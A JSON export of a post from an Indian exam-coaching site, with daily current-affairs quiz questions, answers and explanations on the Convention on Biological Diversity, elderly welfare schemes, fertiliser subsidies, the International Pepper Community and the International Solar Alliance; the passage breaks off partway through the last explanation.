{"id":2650,"date":"2025-10-30T12:22:21","date_gmt":"2025-10-30T12:22:21","guid":{"rendered":"https:\/\/iasquest.com\/?p=2650"},"modified":"2026-02-11T18:49:32","modified_gmt":"2026-02-11T18:49:32","slug":"daily-current-affairs-29-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-29-10-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 29.10.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements regarding the Convention on Biological Diversity (CBD):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. It is an international legally binding treaty adopted at the Rio Earth Summit in 1992.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. It recognizes biological resources over national sovereignty as the common heritage of mankind.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. India is a party to the convention since 1994.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (a) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> Panama meeting: Parties fail to agree on text of recommendations for Conventional on Biological Diversity<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Convention on Biological Diversity (CBD):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>The <strong>Convention on Biological Diversity (CBD)<\/strong> is an <strong>international legally binding treaty<\/strong> adopted at the <strong>Rio Earth Summit in 1992<\/strong> (entered into force in <strong>1993<\/strong>). <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Secretariat:<\/strong> Based in <strong>Montreal, Canada<\/strong>.<\/li>\n\n\n\n<li><strong>India<\/strong> is a <strong>party to the convention<\/strong> since <strong>1994<\/strong>. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Objectives of the CBD<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li><strong>Conservation<\/strong> of biological diversity.<\/li>\n\n\n\n<li><strong>Sustainable use<\/strong> of its components.<\/li>\n\n\n\n<li><strong>Fair and equitable sharing<\/strong> of benefits arising from the use of genetic resources (Access and Benefit Sharing \u2013 <strong>ABS<\/strong>).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Key Features<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>Recognizes <strong>national sovereignty<\/strong> over biological resources (not a global commons). <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>Promotes <strong>in-situ<\/strong> (protected areas, biosphere reserves) and <strong>ex-situ<\/strong> (seed banks, gene banks) conservation.<\/li>\n\n\n\n<li>Encourages <strong>traditional knowledge protection<\/strong> and <strong>indigenous community participation<\/strong>.<\/li>\n\n\n\n<li>The <strong>Cartagena Protocol (2000)<\/strong> deals with <strong>biosafety and LMOs<\/strong> (Living Modified Organisms).<\/li>\n\n\n\n<li>The <strong>Nagoya Protocol (2010)<\/strong> focuses on <strong>Access and Benefit Sharing (ABS)<\/strong> mechanisms.<\/li>\n\n\n\n<li>The <strong>Kunming-Montreal Global Biodiversity Framework (GBF)<\/strong> (adopted in <strong>2022<\/strong>) replaced the Aichi Targets (2010\u20132020), setting new global goals for 2030.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>India\u2019s Implementation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>Enacted the <strong>Biological Diversity Act, 2002<\/strong>.<\/li>\n\n\n\n<li>Established the <strong>National Biodiversity Authority (NBA)<\/strong> at Chennai.<\/li>\n\n\n\n<li>Prepared <strong>National Biodiversity Action Plan (NBAP)<\/strong> and <strong>People\u2019s Biodiversity Registers (PBRs)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><br><strong>Q. With reference to \u2018Global Environment Facility\u2019, which of the following statements is\/are correct?<\/strong> <br><br><strong>(a) It serves as financial mechanism for \u2018Convention on Biological Diversity\u2019 and \u2018United Nations Framework Convention on Climate Change\u2019<\/strong> <br>(b) It undertakes scientific research on environmental issues at global level <br>(c) It is an agency under OECD to facilitate the transfer of technology and funds to underdeveloped countries with specific aim to protect their environment <br>(d) Both (a) and (b)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/panama-meeting-parties-fail-to-agree-on-text-of-recommendations-for-conventional-on-biological-diversity\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/panama-meeting-parties-fail-to-agree-on-text-of-recommendations-for-conventional-on-biological-diversity<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>2. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>S.no<\/strong><\/td><td><strong>Scheme<\/strong><\/td><td><strong>Ministry<\/strong><\/td><td><strong>Objective<\/strong><\/td><\/tr><tr><td>1.<\/td><td>Atal Pension Yojana (APY)<\/td><td>Ministry of Finance<\/td><td>To provide a guaranteed pension ensuring old-age income security for unorganised sector workers.<\/td><\/tr><tr><td>2.<\/td><td>Rashtriya Vayoshri Yojana (RVY)<\/td><td>Ministry of Social Justice &amp; Empowerment<\/td><td>To provide free assisted-living devices to BPL senior citizens with age-related disabilities.<\/td><\/tr><tr><td>3.<\/td><td>SAGE Portal &nbsp; &nbsp;<\/td><td>Ministry of Social Justice &amp; Empowerment<\/td><td>To promote start-ups providing innovative products and services for the elderly (\u201cSilver Economy\u201d).<\/td><\/tr><tr><td>4.<\/td><td>SACRED Portal &nbsp; &nbsp;<\/td><td>Ministry of Social Justice &amp; Empowerment<\/td><td>To connect senior citizens (60+) with employment opportunities for dignified re-engagement.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>How many of the pairs given above are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(a) Only one\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(b) Only two\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(c) Only three\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(d) All the four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Answer: (d) All the four<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>In NEWS: <\/strong>Elderly in India &#8211; Population, Challenges, and Government Initiatives<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Demographic Profile:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-32\">\n<li>India\u2019s elderly population (60+) is projected to <strong>increase from 100 million (2011)<\/strong> to <strong>230 million (2036)<\/strong> \u2014 about <strong>15%<\/strong> of the population.<\/li>\n\n\n\n<li>By <strong>2050<\/strong> \u2192 expected to reach <strong>319 million<\/strong> (LASI Report 2021).<\/li>\n\n\n\n<li><strong>Sex ratio (elderly):<\/strong> 1,065 females per 1,000 males; <strong>58% are women<\/strong>, 54% of whom are <strong>widows<\/strong>.<\/li>\n\n\n\n<li><strong>Dependency ratio:<\/strong> 62 dependents per 100 working-age individuals.<\/li>\n\n\n\n<li><strong>Regional variation:<\/strong><ul><li><strong>Kerala<\/strong> \u2192 13% (2011) \u2192 23% (2036)<\/li><\/ul><ul><li><strong>Uttar Pradesh<\/strong> \u2192 7% (2011) \u2192 12% (2036)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Southern States + Himachal Pradesh + Punjab = highest elderly share<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Challenges Faced by Elderly<\/strong><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">The elderly in India often find themselves in vulnerable positions due to a lack of adequate support systems, both institutional and familial. They confront multifaceted challenges including:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-35\">\n<li><strong>Health: <\/strong>Stigmatised mental health conditions (dementia, Alzheimer&#8217;s), rising disabilities, inadequate geriatric infrastructure, Urban-rural divide in access to medical services.<\/li>\n\n\n\n<li><strong>Economic <\/strong>Insufficient social security provisions, rise of living and medical expenses, limited financial resources.<\/li>\n\n\n\n<li><strong>Social: <\/strong>Weakening family support systems, social isolation, neglect, lack of companionship etc.<\/li>\n\n\n\n<li><strong>Digital divide: <\/strong>Technology adoption barriers, lack of training and accessible devices.<\/li>\n\n\n\n<li><strong>Infrastructure: <\/strong>Inadequate literacy, emergency response system overlooking elderly as vulnerable group. Public spaces and transport in India is largely not elderly-friendly since ramps, handrails and accessible washrooms are missing in many areas.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong><u>Government Schemes for Senior Citizens \u2013 Ministry &amp; Objective<\/u><\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Scheme<\/strong><\/td><td><strong>Ministry<\/strong><\/td><td><strong>Objective<\/strong><\/td><\/tr><tr><td><strong>Atal Pension Yojana (APY)<\/strong><\/td><td>Ministry of Finance \/ PFRDA<\/td><td>To provide a guaranteed pension (\u20b91,000\u2013\u20b95,000) ensuring old-age income security for unorganised sector workers.<\/td><\/tr><tr><td><strong>Atal Vayo Abhyuday Yojana (AVYAY)<\/strong><\/td><td>Ministry of Social Justice &amp; Empowerment (MoSJE)<\/td><td>Umbrella scheme for empowerment, inclusion, and well-being of senior citizens.<\/td><\/tr><tr><td><strong>Integrated Programme for Senior Citizens (IPSrC)<\/strong><\/td><td>MoSJE<\/td><td>To provide shelter, food, and healthcare facilities to indigent senior citizens through grants-in-aid.<\/td><\/tr><tr><td><strong>Rashtriya Vayoshri Yojana (RVY)<\/strong><\/td><td>MoSJE \/ ALIMCO<\/td><td>To provide free assisted-living devices to BPL senior citizens with age-related disabilities.<\/td><\/tr><tr><td><strong>Elderline (Helpline 14567)<\/strong><\/td><td>MoSJE<\/td><td>To provide a 24\u00d77 national helpline for grievance redressal and emotional support to senior citizens.<\/td><\/tr><tr><td><strong>SAGE Portal (Senior Care Ageing Growth Engine)<\/strong><\/td><td>MoSJE \/ IFCI<\/td><td>To promote start-ups providing innovative products and services for the elderly (\u201cSilver Economy\u201d).<\/td><\/tr><tr><td><strong>SACRED Portal<\/strong><\/td><td>MoSJE<\/td><td>To connect senior citizens (60+) with employment opportunities for dignified re-engagement.<\/td><\/tr><tr><td><strong>Geriatric Caregiver Training<\/strong><\/td><td>MoSJE \/ NISD<\/td><td>To train caregivers for professional elderly care and support services.<\/td><\/tr><tr><td><strong>Ayushman Bharat \u2013 PMJAY (Elderly Expansion)<\/strong><\/td><td>Ministry of Health &amp; Family Welfare (MoHFW)<\/td><td>To provide \u20b95 lakh annual health insurance coverage for senior citizens aged 70+.<\/td><\/tr><tr><td><strong>IGNOAPS (under NSAP)<\/strong><\/td><td>Ministry of Rural Development (MoRD)<\/td><td>To provide non-contributory old-age pension to BPL senior citizens (60+).<\/td><\/tr><tr><td><strong>National Programme for Health Care of the Elderly (NPHCE)<\/strong><\/td><td>MoHFW<\/td><td>To provide accessible and comprehensive healthcare services for elderly persons.<\/td><\/tr><tr><td><strong>Senior Citizens\u2019 Welfare Fund (SCWF)<\/strong><\/td><td>MoSJE<\/td><td>To use unclaimed deposits for financing various welfare schemes for senior citizens.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Hence all the pairs are correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. Regarding \u2018Atal Pension Yojana\u2019, which of the following statements is\/are correct?<\/strong> <br><br>1. It is a minimum guaranteed pension scheme mainly targeted at unorganized sector workers. <br>2. Only one member of a family can join the scheme. <br>3. Same amount of pension is guaranteed for the spouse for life after subscriber\u2019s death. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2183196\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2183196<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>3. Which among the following statements is\/are correct with respect to the \u2018Nutrient Based Subsidy Scheme\u2019?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">1. It was launched by the Department of Fertilizers, under the Ministry of Agriculture &amp; Farmers&#8217; Welfare.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">2. The scheme covers Phosphatic and Potassic (P&amp;K) fertilizers including Urea.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Answer: (d) Neither 1 nor 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>In NEWS: <\/strong>Cabinet approves the Nutrient Based Subsidy rates for Rabi 2025- 26 on Phosphatic and Potassic fertilizers<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Nutrient Based Subsidy (NBS) Scheme:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-51\">\n<li>The <strong>Nutrient Based Subsidy (NBS) Scheme<\/strong> was <strong>launched in April 2010<\/strong> by the <strong>Department of Fertilizers<\/strong>, under the <strong>Ministry of Chemicals and Fertilizers<\/strong>. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>The scheme covers <strong>Phosphatic and Potassic (P&amp;K) fertilizers<\/strong>, excluding <strong>Urea<\/strong> (which remains under a separate controlled subsidy). <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>Under NBS, the <strong>subsidy is fixed per kilogram of nutrient content<\/strong> \u2014 Nitrogen (N), Phosphate (P), Potash (K), and Sulphur (S).<\/li>\n\n\n\n<li>The subsidy is <strong>provided directly to fertilizer companies<\/strong>, who sell fertilizers to farmers at subsidized rates.<\/li>\n\n\n\n<li>The scheme aims to <strong>encourage balanced fertilization<\/strong>, promoting judicious use of all nutrients rather than overuse of urea (Nitrogen).<\/li>\n\n\n\n<li>It also enables farmers to access <strong>fertilizers at affordable prices<\/strong> and supports <strong>soil health management<\/strong>.<\/li>\n\n\n\n<li>The <strong>rates of subsidy per nutrient<\/strong> are <strong>notified annually<\/strong> by the Government based on global prices and domestic needs.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <strong>The nation-wide \u2018Soil Health Card Scheme\u2019 aims at<\/strong> <br><br>1. expanding the cultivable area under irrigation. <br>2. enabling the banks to assess the quantum of loans to be granted to farmers on the basis of soil quality. <br>3. checking the overuse of fertilizers in farmlands. <br><br><strong>Which of the above statements is\/are correct?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3 only <br>(c) 2 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2183291\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2183291<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>4. Consider the following countries:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">1. India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">2.Indonesia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">3. Malaysia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">4. Myanmar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">5. China<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Which of the above are members of the International Pepper Community?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(a) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(b) 1 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(c) 2 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(d) 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Answer: (a) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>In NEWS:<\/strong> Global Pepper Industry Convenes in Kochi for the 53rd International Pepper Community Annual Sessions<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>International Pepper Community (IPC):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-68\">\n<li>The <strong>International Pepper Community (IPC)<\/strong> is an <strong>intergovernmental organization<\/strong> of <strong>pepper-producing countries<\/strong>, established under the <strong>United Nations Economic and Social Commission for Asia and the Pacific (UN-ESCAP)<\/strong>.<\/li>\n\n\n\n<li>It was <strong>set up in 1972<\/strong>, with headquarters in <strong>Jakarta, Indonesia<\/strong>.<\/li>\n\n\n\n<li>The IPC promotes the <strong>production, trade, and research<\/strong> related to <strong>pepper (Piper nigrum)<\/strong> and <strong>other spices<\/strong>.<\/li>\n\n\n\n<li>India is a <strong>founding and active member<\/strong> of the IPC.<\/li>\n\n\n\n<li>The <strong>Spices Board of India<\/strong> (under the <strong>Ministry of Commerce &amp; Industry<\/strong>) represents India in the IPC.<\/li>\n\n\n\n<li>India hosted several <strong>IPC Sessions and Spice Conferences<\/strong>, promoting sustainable pepper farming.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Member Countries<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-70\">\n<li><strong>Founding members:<\/strong> India, Indonesia, and Malaysia.<\/li>\n\n\n\n<li>Other members: Sri Lanka, Vietnam, Brazil, and Papua New Guinea.<\/li>\n\n\n\n<li><strong>Associate members and observers:<\/strong> Various spice-producing and importing countries. <strong>Hence option (a) 1, 2 and 3 are correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-72\">\n<li>Promote <strong>international cooperation<\/strong> in pepper production and trade.<\/li>\n\n\n\n<li>Facilitate <strong>research and development<\/strong> to improve yield and quality.<\/li>\n\n\n\n<li>Collect, analyse, and disseminate <strong>market and price information<\/strong>.<\/li>\n\n\n\n<li>Encourage <strong>value addition and fair trade practices<\/strong>.<\/li>\n\n\n\n<li>Provide a <strong>forum for policy coordination<\/strong> among member countries.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. Consider the following countries:<\/strong> <br><br>1. Armenia <br>2. Azerbaijan <br>3. Croatia <br>4. Romania <br>5. Uzbekistan <br><br><strong>Which of the above are members of the Organization of Turkic States?<\/strong> <br><br>(a) 1, 2 and 4 <br>(b) 1 and 3 <br><strong>(c) 2 and 5<\/strong> <br>(d) 3, 4 and 5<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2183513\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2183513<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>5. With reference to the International Solar Alliance (ISA), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">1. The International Solar Alliance (ISA) was jointly launched by India and France during the COP 21 (Paris Climate Conference).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">2. Membership of ISA was limited to countries lying between the Tropic of Cancer and the Tropic of Capricorn.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">3. India spearheaded the \u201cOne Sun, One World, One Grid (OSOWOG)\u201d initiative to create a global solar power grid.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Answer: (c) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>In NEWS: <\/strong>The President of India, inaugurated the opening plenary of the Eighth Session of the International Solar Alliance Assembly (ISA) in New Delhi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>International Solar Alliance (ISA):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-87\">\n<li>The <strong>International Solar Alliance (ISA)<\/strong> was jointly launched by <strong>India and France<\/strong> on <strong>30th November 2015<\/strong> during the <strong>COP 21 (Paris Climate Conference)<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The <strong>ISA Headquarters<\/strong> is located in <strong>Gurugram, Haryana<\/strong>, making it the <strong>first treaty-based intergovernmental organization headquartered in India<\/strong>.<\/li>\n\n\n\n<li>The <strong>Framework Agreement<\/strong> of ISA came into force on <strong>6th December 2017<\/strong>.<\/li>\n\n\n\n<li>Membership of ISA was initially limited to countries lying <strong>between the Tropic of Cancer and the Tropic of Capricorn<\/strong>, but is now <strong>open to all UN member states<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>As of 2025, ISA has <strong>116 signatory countries<\/strong> and <strong>90 countries have ratified<\/strong> its Framework Agreement.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Objective:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-89\">\n<li>The main objective of ISA is to <strong>mobilize USD 1 trillion in solar investments by 2030<\/strong> to promote <strong>global solar deployment<\/strong>.<\/li>\n\n\n\n<li>ISA works to <strong>reduce the cost of solar energy<\/strong>, <strong>mobilize finance<\/strong>, <strong>share technology<\/strong>, and <strong>build capacity<\/strong> among member countries.<\/li>\n\n\n\n<li>The Alliance promotes the concept of <strong>energy access, equity, and sustainability<\/strong>, especially for <strong>Least Developed Countries (LDCs)<\/strong> and <strong>Small Island Developing States (SIDS)<\/strong>.<\/li>\n\n\n\n<li>The ISA\u2019s vision is reflected in its <strong>\u201cTowards 1000\u201d strategy (2023\u20132030)<\/strong> aiming for:<ul><li><strong>1000 GW<\/strong> of solar capacity,<\/li><\/ul><ul><li><strong>USD 1000 billion<\/strong> mobilized, and<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>1000 million<\/strong> people benefitted.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Major ISA initiatives include:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-91\">\n<li><strong>STAR-C (Solar Technology and Application Resource Centre)<\/strong> for capacity building.<\/li>\n\n\n\n<li><strong>Global Solar Atlas<\/strong> for resource mapping.<\/li>\n\n\n\n<li><strong>Solar Financing Facility<\/strong> for de-risking investments.<\/li>\n\n\n\n<li><strong>Solar Mini-Grids and Solar Cold Chain Projects<\/strong> for rural and agricultural applications<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>India\u2019s 